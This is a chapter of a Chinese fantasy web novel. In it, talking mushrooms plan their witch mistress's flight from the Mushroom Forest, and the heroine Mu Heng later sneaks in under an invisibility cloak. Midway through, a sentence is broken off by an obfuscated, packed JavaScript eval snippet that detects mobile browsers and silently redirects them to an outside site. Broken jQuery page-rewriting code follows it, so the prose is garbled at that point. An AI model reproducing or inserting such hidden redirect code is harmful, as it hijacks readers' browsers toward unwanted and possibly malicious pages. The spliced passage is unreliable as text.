真是的……
刹那间,穆珩再度出现在虚空里。
两人一书相顾无言,大眼瞪小眼。
穆珩指着晏云章,问羊皮书:“为什么这次他没出去?”
“身体不处于危险范围内的话,一般是不会强制让他控制身体的,当然,如果你们协商一致,我也现在可以送他出去。”
说完,羊皮书就准备催动魔法。
穆珩伸出一只手指按住羊皮书的封皮,水流的温润混杂着魔力的清凉在她的手指上缓缓流动。
心念一转。
反正只是过敏而已,而且刚才已经叫艾米莉亚热好水之后上来叫人了,发现她昏迷过去自然会把她转移到别的地方,就不用看晏云章那个家伙操纵自己的身体了。
所以穆珩索性说:“算了,就先让我躺着吧。”
多一事不如少一事,羊皮书是没有什么异议的。
她正想去房子里拖个凳子出来,耳边却突然传来“吧唧吧唧”的声音。
不是嘴唇相触、牙齿咀嚼的吃饭声,而是某种富有弹性的东西沾黏在平面又不断抬起落下的声音。
她瞥向水镜。
水镜里依旧是她昏迷的样子,没有异动、不见反常。
“你们有听到什么声音吗?”她问。
晏云章和羊皮书都摇头。
可“吧唧”的声音更近了,几乎就在她的耳边。
穆珩眯起眼睛,敏锐地发现自己耳边偏下的地方,折射出一抹微小的蓝光,蓝光的附近还有一个个只有米粒大小的浑圆脚印。
“老大,她怎么一进来就睡着啦。”
“人类都这样,喜欢睡觉拦不住的。别管她了,我们先找荧光菌。”
一阵细小的摩擦声之后,是一声小小的“砰”。
稍显稚嫩的童音再度开口:“找到了老大!”
浑厚的男声倒吸一口凉气,语调都高昂起来,欣慰说道:“终于聪明点了,不枉我们顺着那小姑娘的车轱辘印子走了一晚上才走过来。”
又是几声“吧唧吧唧”。
“噔噔”。
接着的,是两声敲击厚玻璃的声音。
“我不回去。”
穆珩揉揉耳朵,新出现的这道缓慢轻柔的女声像是被隔绝在了什么里面,听起来不是很清楚。
“阿荧,你别背对着我。”
童声委屈巴巴的:“我都看不见你脸了。”
时间凝滞几秒,又是一阵猛烈的拍打在伞帽上噗噗声,男声几乎是气急败坏:“我们是蘑菇,蘑菇不分正反面你不知道啊,我有时候都怀疑你到底是不是蘑菇!?”
女声一顿,立马出声温柔阻止男声:“你别打它,你这头大蠢蘑菇,我发誓如果你敢再碰它一下,我出去之后会立马拧断你的杆杆。”
“……好了,我们说正事。不是我们让你回去的,是主人。”
一阵令人窒息的沉默。
“发生什么事了?”
童声语气低落:“主人生气了,要给我们丢到幽冥河里。”
穆珩感觉男声应该是翻了个白眼,虽然她还不清楚这些蘑菇到底有没有眼睛。
“主人是要自己跳进幽冥河,开会的时候你到底在听什么?”
女声的威慑还是起了作用,男声虽然恨铁不成钢,但还是先简洁解释了下现在的情况,“主人听说人类要彻底搜查迷菇森林,害怕了,嫌麻烦,准备搬家,让我们来找你一起走。”
“主人不是迷菇森林的主人吗?”
男声暴躁的语调一下变得沉静,话语中夹杂着看透俗事的淡然:“你……出来一个月不记得主人什么样了?她没有被吓得带上她的锅自己跑掉,菇都已经对她有些刮目相看了。”
显然,如此不加掩饰的直白话语一下就击中了三位老蘑菇的心灵。
女声哑然,紧接着问:“那森林怎么办?”
没了蘑菇们的森林还能叫做迷菇森林吗?
没有菇知道。
所以来找菇的两个菇都沉默了。
事已至此,女声只好妥协:“好吧,什么时候走?”
“三天后。”
女声的语调低低的,字和字之间黏连在一起,听起来还是有些犹豫:“到时候我去找你们,你们先回去吧。”
没有听到回话声,又是几声密集的“吧唧吧唧”。
外面彻底安静下来。
穆珩的脑子转得飞快。
它们口中的主人很有可能就是她要找的魔女之一,因为害怕人类的大规模检索发现她的踪迹,所以选择三天后举家搬迁,离开迷菇森林。
它们下一个落脚点不知道在哪里,又会在哪里待多久,如果她想要更有效率地获得这些魔女的赐福,就要把握住这次机会,在魔女离开前——
破解中心区的谜团,找到魔女。
穆珩整理好头绪,就要提笔在羊皮书上记下来,却看见水镜中一道暖黄细长的光打在她的脸上。
随之而来的,是艾米莉亚一声短促震撼地倒吸声,还有她的大喊:“桑尼叔叔!”
穆珩一拍脑门。
差点把这事给忘了。
客人在客房内因过敏昏迷不是小事,艾米莉亚叫来牧师之后,一直局促地站在穆珩的旁边,等牧师将导致她过敏晕倒的魔力孢子移出体外。
看穆珩手上的红斑渐渐消失,艾米莉亚才松了口气。
她凑到桑尼的耳边十分担忧地小声询问:“我们会被索取赔偿吗?”
桑尼叹了一口气,也小声回她:“艾米莉亚,只有傻子才会放弃这天降的财富。”
正想醒过来然后说没事的傻子穆珩:……
这件事的最后,以桑尼酒馆为穆珩重新安排房间,并减免一半的住宿为补偿收尾,期间艾米莉亚交叠着双手泪眼盈盈地看着穆珩,声泪俱下地阐述自己的失职,余光却不见后者有任何的动容,艾米莉亚只得作罢。
下次不能再把东西放在客房了!
艾米莉亚决心改进自己的服务。
穆珩叫住准备离开的艾米莉亚:“艾米莉亚。”
“怎么了?”艾米莉亚灵光一闪,从裤兜里拿出一管药膏,“哦,对!忘记把药留下了。”
穆珩摆摆手:“不是这个。”
她不再绕弯子,直截了当地问;"协会和商盟准备什么时候排查迷菇森林啊?"
原来是这个。
协会的行动不是秘密,艾米莉亚把药膏放在她的床头,摸着下巴想了想:“跟我相熟的向导说的时间好像是五天后,向导、研究员、商盟的人一起,一般也是这个时间,只会晚从来没早过。”
这倒是出乎穆珩的意料,她一向效率至上,不明白为什么这么急迫的问题要等这么久。
“我还以为异动发生之后,就会立马搜索了。”
“不不不,这种组织规矩都多,审批层层递交上去,再层层传达下来,光是文件就要流传几天呢,上次桑尼叔叔的酒馆执照都跑了好几轮才成功续上。”
比起迷菇森林的事
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17375559|200088||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,艾米莉亚对执照差点没有续上的执念显然更深。
穆珩接着问:“你也会去吗?”
艾米莉亚摇头:“协会没有给我发邀请,估计是商盟那边的名单审核又把我卡出去了。”
在确认穆珩没有别的事,她就关门出去了。
穆珩躺倒在床上。
本想借着协会的搜查队进入森林,结果现在艾米莉亚没有名额不说,时间也来不及,而且就是想要加入,她这种野生冒险者估计还得□□走流程,等进入森林,蘑菇都没影了。
看来只能使用一些特殊手段了。
穆珩准备了一天,在那群蘑菇口中即将搬家的前一天来到了佩尔城边的小河。
沉默地看着她忙碌许久的羊皮书终于开始打字:“你在干什么?”
在角落里,往自己身上披隐形斗篷的穆珩头也不抬:“不是说了要比商盟的人提前来森林里找魔女……”
穆珩跟羊皮书面面相觑,陷入一种诡异的沉默。
不对。
她没说。
穆珩清了清嗓子,把隐形斗篷整理妥当,当做什么事都没有发生。
她把披风掀开、放下,看着消失在空气中的脚,非常满意。
这是国王从宝库里拿出来给她的,听说也是某某大师倾情制作,整个艾瑟隆只此一件。
羊皮书飘起来围着穆珩转了一圈,确实没发现什么明显的破绽之后,也难得认同了她的主意。
“不错。”
穆珩回以一个大拇指。
只有在脑海里的晏云章皱眉盯着这件隐形斗篷陷入了沉思。
他总觉得这不是第一次见到这个东西。
虽说有隐身斗篷的掩护,但穆珩也没打算从正面突袭进去。
一是以防万一斗篷出问题,二是她偷偷摸摸的,有点心虚。
穆珩按着昨天踩的点绕过森林入口的检查处,往左手边走了两步,伸手在冒险者协会围起来的栅栏底下分开一条缝,明亮的日光照出一个仅容一人穿过的洞口。
“狗……”
羊皮书的字显示到一半,就被穆珩得意洋洋的话打断:“蘑菇洞!”
没有这么大的蘑菇!
真很明显就是个狗洞!
羊皮书几乎立马要开启攻击模式,但想起晏云章对它说的话,打出来的字又消失。
算了,这可不不是为了什么让她喜欢,只是自己不愿跟一个人类计较而已。
而且,它心态平和地想:这里只有蘑菇,说成蘑菇洞何尝不是一种入乡随俗呢?
还很有想象力。
个屁!
它现在有点怀疑是不是又被这两个人联手做局了。
穆珩不知道羊皮书脑补了什么,但是没有大字报挡在眼前,确实是路都清晰了很多。
她俯身下来,钻进蘑菇洞里艰难爬行,好几次兜帽挂在树丛的枝丫上,险些被扯下来。
好在都有惊无险地穿过了。
穆珩拍拍身上的落叶,扶着泥地站起来。
在她膝盖伸直的那一刻,一直在记忆里寻找隐形斗篷印象的晏云章,猛地从某个角落的记忆碎片中,回忆起印在隐身斗篷说明书上的一句温馨提示:“该斗篷的隐身效用‘仅’针对可使用魔力的智慧种或生物,对无法使用魔法的智慧种或生物没有效果,且伴随特殊高亮显示。”
话音刚落。
穆珩抬头,跟瞳孔微颤的艾米莉亚四目相对。
片刻后,对方的嘴角狠狠抽了抽。